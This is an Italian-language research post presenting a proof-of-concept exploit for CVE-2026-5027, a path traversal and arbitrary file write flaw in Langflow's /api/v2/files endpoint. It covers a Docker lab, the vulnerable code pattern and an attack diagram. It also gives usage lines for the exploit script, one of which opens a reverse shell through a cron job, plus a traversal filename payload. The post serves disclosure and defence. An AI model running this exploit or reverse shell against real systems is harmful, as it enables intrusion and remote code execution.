
Proof-of-concept di exploit per CVE-2026-5027, un path traversal e scrittura arbitraria di file nell'endpoint /api/v2/files di Langflow, con laboratorio Docker e opzione reverse shell.
Questo post è un articolo di ricerca pubblicato da EQSTLab.
Grazie a Yahia Hamza, che ha segnalato e analizzato questa vulnerabilità.
★ CVE-2026-5027 Langflow Path Traversal / Arbitrary File Write PoC ★

CVE-2026-5027 : Vulnerabilità di scrittura arbitraria di file in Langflow
description: Una vulnerabilità di path traversal in Langflow <= 1.8.4 consente agli attaccanti di scrivere file arbitrari al di fuori della directory di upload prevista tramite un filename multipart appositamente craftato fornito all'endpoint /api/v2/files. Nelle distribuzioni in cui l'auto-login è abilitato o l'autenticazione è altrimenti applicata in modo debole, questo problema può essere sfruttato per ottenere l'esecuzione di codice in remoto scrivendo contenuti controllati dall'attaccante in posizioni sensibili del filesystem.
Crea ed esegui l'ambiente vulnerabile usando Docker:
docker build -t cve-2026-5027 .
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027
# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t <TARGET>
# Reverse shell via cron job
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444
Endpoint vulnerabile
POST /api/v2/files
Il problema esiste perché la funzionalità di upload si fida del valore filename multipart fornito dal client. Invece di generare un nome di archiviazione sicuro lato server o di limitare il percorso risolto a una directory di upload dedicata, il percorso di codice vulnerabile consente a sequenze di traversal come ../ di influenzare il percorso di destinazione finale.
Di conseguenza, un attaccante può uscire dalla root di archiviazione prevista e forzare l'applicazione a scrivere file in posizioni arbitrarie del filesystem del server.
Un flusso di sfruttamento rappresentativo è il seguente:
/api/v2/files.filename appositamente craftato contenente sequenze di path traversal.Si tratta fondamentalmente di un problema CWE-22: Improper Limitation of a Pathname to a Restricted Directory.
La falla di sicurezza è causata da una sanificazione e validazione insufficienti dei percorsi dei file controllati dall'utente durante la gestione dell'upload. L'applicazione accetta il nome file originale del client e lo passa al flusso di archiviazione senza applicare adeguatamente la normalizzazione e il contenimento del percorso.
Da un punto di vista difensivo, il pattern pericoloso è concettualmente simile al seguente:
save_path = base_dir / file.filename
Se file.filename contiene componenti di path traversal come:
../../../../tmp/poc.txt
il percorso finale risolto può puntare al di fuori di base_dir, consentendo la scrittura arbitraria di file.
Le vulnerabilità di scrittura arbitraria di file sono spesso più gravi dei normali problemi di upload non limitato perché l'attaccante controlla non solo il contenuto del file, ma anche il percorso di destinazione. A seconda dei privilegi di runtime del processo Langflow, questo può consentire:
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Obtain access token
| or abuse auto-login
v
+-------------------------------------------+
| Langflow /api/v2/files |
+-------------------------------------------+
|
| Crafted multipart filename
| (../ directory traversal)
v
+-------------------------------------------+
| Arbitrary File Write (Outside Upload Dir) |
+-------------------------------------------+
|
| Write to sensitive location
v
+-------------------------------------------+
| Potential Remote Code Execution |
+-------------------------------------------+
Questo repository non è inteso a facilitare lo sfruttamento non autorizzato di istanze Langflow. Lo scopo di questo progetto è aiutare i ricercatori di sicurezza, i difensori e gli sviluppatori a comprendere la vulnerabilità, validare l'esposizione in ambienti controllati e applicare mitigazioni efficaci.